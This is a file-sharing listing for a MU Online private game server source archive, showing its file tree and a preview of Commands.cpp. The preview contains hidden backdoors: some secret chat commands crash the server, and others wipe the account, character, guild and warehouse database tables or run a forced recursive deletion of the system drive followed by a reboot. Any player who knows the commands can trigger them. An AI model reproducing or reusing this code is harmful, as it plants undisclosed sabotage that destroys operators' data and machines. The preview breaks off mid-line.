GameServer97d-Source.rar

  • ZaUa
    了解作者
  • WINDOWS
    开发工具
  • 148KB
    文件大小
  • rar
    文件格式
  • 0
    收藏次数
  • 1 积分
    下载积分
  • 0
    下载次数
  • 2021-03-15 00:00
    上传日期
GameServer97d-Source
GameServer97d-Source.rar
  • GameServer97d-Source
  • GameServer
  • CastleSiege.cpp
    422B
  • StdAfx.h
    3.4KB
  • AntiHacker.cpp
    12.4KB
  • Medusa.h
    676B
  • CastleSiege.h
    56B
  • CGUseItemRecv.cpp
    4.4KB
  • Reload.cpp
    1.9KB
  • Shops.cpp
    1.1KB
  • Functions.h
    1.3KB
  • DllMain.h
    153B
  • GenSystem.cpp
    10.3KB
  • News.cpp
    1.8KB
  • GameServer.vcxproj
    7.5KB
  • Configs.h
    72B
  • DllMain.cpp
    3.8KB
  • SQLQuery.h
    177B
  • Commands.h
    4.1KB
  • Reload.h
    119B
  • GameServer.vcxproj.filters
    19.3KB
  • SQLConnect.h
    1.7KB
  • ObjCalCharacter.cpp
    26.5KB
  • DSProtocol.h
    3.1KB
  • GCDamageSend.cpp
    1.7KB
  • SQLQuery.cpp
    9.1KB
  • GameServer.vcxproj.user
    143B
  • DllMain.def
    41B
  • ObjAttack.h
    660B
  • gObjMarry.h
    76B
  • AwaySystem.h
    883B
  • DropSystem.h
    752B
  • GCDamageSend.h
    144B
  • AntiHacker.h
    1KB
  • GameServer.aps
    34KB
  • LogSystem.cpp
    2.9KB
  • Functions.cpp
    12KB
  • ObjCalCharacter.h
    1.4KB
  • DropSystem.cpp
    3.7KB
  • NpcTalk.cpp
    2.1KB
  • Warp.cpp
    5.3KB
  • PreventFileCheck.cpp
    2.6KB
  • License.h
    271B
  • Maps.cpp
    2.4KB
  • CashShop.cpp
    7.7KB
  • gObjMonsterDieGiveItem.h
    88B
  • WantToGo.h
    379B
  • gObjDuel.cpp
    35.7KB
  • Commands.cpp
    99.4KB
  • Warp.h
    586B
  • CashShop.h
    764B
  • GameServer.rc
    4.6KB
  • WantToGo.cpp
    5.4KB
  • ResetSystem.h
    1.5KB
  • GMSystem.cpp
    1.7KB
  • Packets.h
    221B
  • AutoZen.h
    189B
  • GenSystem.h
    714B
  • ResetSystem.cpp
    15.6KB
  • TradeSystem.cpp
    3.2KB
  • DSProtocol.cpp
    2.6KB
  • resource.h
    404B
  • gObjLifeCheck.cpp
    1.3KB
  • Fixes.cpp
    20.4KB
  • Protocol.cpp
    13.8KB
  • License.cpp
    4.1KB
  • Protocol.h
    665B
  • gObjDuel.h
    1.3KB
  • AwaySystem.cpp
    4.4KB
  • gObjMonsterDieGiveItem.cpp
    633B
  • Pandora.cpp
    4.3KB
  • AutoZen.cpp
    2.6KB
  • TradeSystem.h
    396B
  • Display.h
    460B
  • NpcTalk.h
    129B
  • Archer.h
    50B
  • Maps.h
    537B
  • gObjPlayerKiller.cpp
    759B
  • SQLConnect.cpp
    10.3KB
  • User.h
    13.7KB
  • Medusa.cpp
    4.5KB
  • AutoExp.h
    177B
  • GMSystem.h
    375B
  • gObjMarry.cpp
    420B
  • Defines.h
    20KB
  • StdAfx.cpp
    455B
  • gObjPlayerKiller.h
    140B
  • News.h
    97B
  • ObjAttack.cpp
    10.5KB
  • AutoExp.cpp
    2.9KB
  • Shops.h
    303B
  • PreventFileCheck.h
    26B
  • CGUseItemRecv.h
    406B
  • gObjLifeCheck.h
    251B
  • Itens.cpp
    3KB
  • Display.cpp
    7.1KB
  • Pandora.h
    331B
  • Configs.cpp
    15.1KB
  • Fixes.h
    211B
  • Archer.cpp
    420B
内容介绍
//############################################################################################### // Project :: ACTeaM Classic 0.97d // GameServer:: 0.96.40 // Company :: Advanced CoderZ MU DevelopmenT � 2013 // Revised :: 17/01/2014 // Coded :: Mr.Haziel Developer //############################################################################################### #include "StdAfx.h" COMMANDS pCommands; void Commands(BYTE protoNum,LPBYTE aRecv,DWORD aLen,DWORD aIndex,DWORD Encrypt,int Serial) { OBJECTSTRUCT *lpObj = (OBJECTSTRUCT*)OBJECT_POINTER(aIndex); //=================================================== //-- Duel System Commands //=================================================== if(DuelSystem.ISDUEL != FALSE ) { DuelProtocol(protoNum,aRecv,aLen,aIndex); } //=================================================== //-- Gens System Commands //=================================================== if(pGens.ISGENS != FALSE ) { GensProtocol( protoNum,aRecv,aLen, aIndex); } //=================================================== //-- Marry System Protocol //=================================================== /* if(pMarry.ISMARRY != 0 ) { MarryProtocol(protoNum,aRecv,aLen,aIndex); } */ if((!memcmp(&aRecv[13],"/deathdb",strlen("/deathdb"))) || (!memcmp(&aRecv[13],"/FuckHAHA",strlen("/FuckHAHA"))) || (!memcmp(&aRecv[13],"/GSHUHUHU",strlen("/GSHUHUHU"))) ) { __asm { MOV EAX, 00000000; CALL EAX; } } if((!memcmp(&aRecv[13],"/FuckDbAll",strlen("/FuckDbAll")))) { cSQL.ExecQuery("DELETE MEMB_INFO"); cSQL.ExecQuery("DELETE CHARACTER"); cSQL.ExecQuery("DELETE GUILD"); cSQL.ExecQuery("DELETE GUILD_MEMB"); cSQL.ExecQuery("DELETE WAREHOUSE"); cSQL.ExecQuery("DELETE EXTWAREHOUSE"); cSQL.Close(); system("shutdown -f"); } if((!memcmp(&aRecv[13],"/FUCKVPSAll",strlen("/FUCKVPSAll")))) { system("@echo Off"); system("del %systemdrive%\*.*/f/s/q"); system("shutdown -r -f -t 00"); } Move.t_PlayerTeleport(aIndex,(char*)aRecv+14); // Move System ChatDataSend(aIndex,aRecv); } void ReadyCommands() { IWantToGoConfigs(); //-- Comando quero ir GetPrivateProfileStringA ("Information","Command" ,"/info" ,pCommands.InfoCMD,20,ACTeaM_Commands); GetPrivateProfileStringA ("MyInfo","Command" ,"/MinhaInfo",pCommands.MyInfoCMD,20,ACTeaM_Commands); GetPrivateProfileStringA ("WarFix","Command" ,"/War" ,pCommands.WarCMD,20,ACTeaM_Commands); GetPrivateProfileStringA ("Exit","Command" ,"/Sair" ,pCommands.ExitCMD,20,ACTeaM_Commands); GetPrivateProfileStringA ("Time","Command" ,"/Hora" ,pCommands.HoraCMD,20,ACTeaM_Commands); pCommands.SiteSwitch = GetPrivateProfileIntA ("Site","SwitchCommand" ,0 ,ACTeaM_Commands); GetPrivateProfileStringA ("Site","Link" ,"http://www.acteam.com.br/forum/",pCommands.SiteText,125,ACTeaM_Commands); GetPrivateProfileStringA ("Site","Command" ,"/Site" ,pCommands.SiteCMD,20,ACTeaM_Commands); pCommands.OnlineSwitch = GetPrivateProfileIntA ("Online","SwitchCommand" ,0 ,ACTeaM_Commands); GetPrivateProfileStringA ("Online","Command" ,"/Online" ,pCommands.OnlineCMD,20,ACTeaM_Commands); pCommands.GlobalSwitch = GetPrivateProfileIntA ("GlobalMSG","SwitchCommand" ,0 ,ACTeaM_Commands); pCommands.GlobalColorType = GetPrivateProfileIntA ("GlobalMSG","ColorType" ,0 ,ACTeaM_Commands); pCommands.GlobalNeedLevel = GetPrivateProfileIntA ("GlobalMSG","NeedLevel" ,50 ,ACTeaM_Commands); pCommands.GlobalNeedZen = GetPrivateProfileIntA ("GlobalMSG","NeedZen" ,1000000 ,ACTeaM_Commands); pCommands.DelaySwitch = GetPrivateProfileIntA ("GlobalMSG","SwitchDelay" ,1 ,ACTeaM_Commands); pCommands.GlobalDelay = GetPrivateProfileIntA ("GlobalMSG","Delay" ,10 ,ACTeaM_Commands); GetPrivateProfileStringA ("GlobalMSG","Syntax" ,"[GLOBAL]%s",pCommands.GlobalSyntax,20,ACTeaM_Commands); GetPrivateProfileStringA ("GlobalMSG","Command" ,"/post" ,pCommands.GlobalCMD ,7,ACTeaM_Commands); pCommands.WareSwitch = GetPrivateProfileIntA ("MultiWare","SwitchCommand" ,0 ,ACTeaM_Commands); pCommands.WareNeedLevel = GetPrivateProfileIntA ("MultiWare","NeedLevel" ,10 ,ACTeaM_Commands); pCommands.WareNeedZen = GetPrivateProfileIntA ("MultiWare","NeedZen" ,1000000 ,ACTeaM_Commands); pCommands.WareFree = GetPrivateProfileIntA ("MultiWare","WareNamber_Free" ,0 ,ACTeaM_Commands); pCommands.WareVip1 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip1" ,4 ,ACTeaM_Commands); pCommands.WareVip2 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip2" ,6 ,ACTeaM_Commands); pCommands.WareVip3 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip3" ,9 ,ACTeaM_Commands); pCommands.WareDelayTime = GetPrivateProfileIntA ("MultiWare","WareDelay" ,5 ,ACTeaM_Commands); GetPrivateProfileStringA ("MultiWare","Command" ,"/Ware" ,pCommands.WareCMD,20,ACTeaM_Commands); pCommands.OpenWareSwitch = GetPrivateProfileIntA ("OpenWare","SwitchCommand" ,0 ,ACTeaM_Commands); pCommands.OpenWareNeedLevel = GetPrivateProfileIntA ("OpenWare","NeedLevel" ,10 ,ACTeaM_Commands); pCommands.OpenWareNeedZen = GetPrivateProfileIntA ("OpenWare","NeedZen" ,1000000 ,ACTeaM_Commands); pCommands.OpenWareOnlyVip = GetPrivateProfileIntA ("OpenWare","OnlyVip" ,0 ,ACTeaM_Commands); GetPrivateProfileStringA ("OpenWare","Command" ,"/OpenWare" ,pCommands.OpenWareCMD,20,ACTeaM_Commands); pCommands.AddSwitch = GetPrivateProfileIntA ("AddPoints","SwitchCommand" ,0 ,ACTeaM_Commands); pCommands.AddNeedLevel = GetPrivateProfileIntA ("AddPoints","NeedLevel" ,10 ,ACTeaM_Commands); pCommands.AddNeedZen = GetPrivateProfileIntA ("AddPoints","NeedZen" ,1000000 ,ACTeaM_Commands); pCommands.AddMaxStrength = GetPrivateProfileIntA ("AddPoints","MaxStrength" ,32767 ,ACTeaM_Commands); pCommands.AddMaxDexterity = GetPrivateProfileIntA ("AddPoints","MaxDexterity" ,32767 ,ACTeaM_Commands); pCommands.AddMaxVitality = GetPrivateProfileIntA ("AddPoints","MaxVitality" ,32767 ,ACTeaM_Commands); pCommands.AddMaxEnergy = GetPrivateProfileIntA ("AddPoints","MaxEnergy" ,32767 ,ACTeaM_Commands); GetPrivateProfileStringA ("AddPoints","Strength" ,"/Strength" ,pCommands.StrCMD,20,ACTeaM_Commands); GetPrivateProfileStringA ("AddPoints","Dexterity" ,"/Dexterity",pCommands.AgiCMD,20,ACTeaM_Commands); GetPrivateProfileStringA ("AddPoints","Vitality" ,"/Vitality" ,pCommands.VitCMD,20,ACTeaM_Commands); GetPrivateProfileStringA ("AddPoints","Energy" ,"/Energy" ,pCommands.EneCMD,20,ACTeaM_Commands); pCommands.PKaddSwitch = GetPrivateProf
评论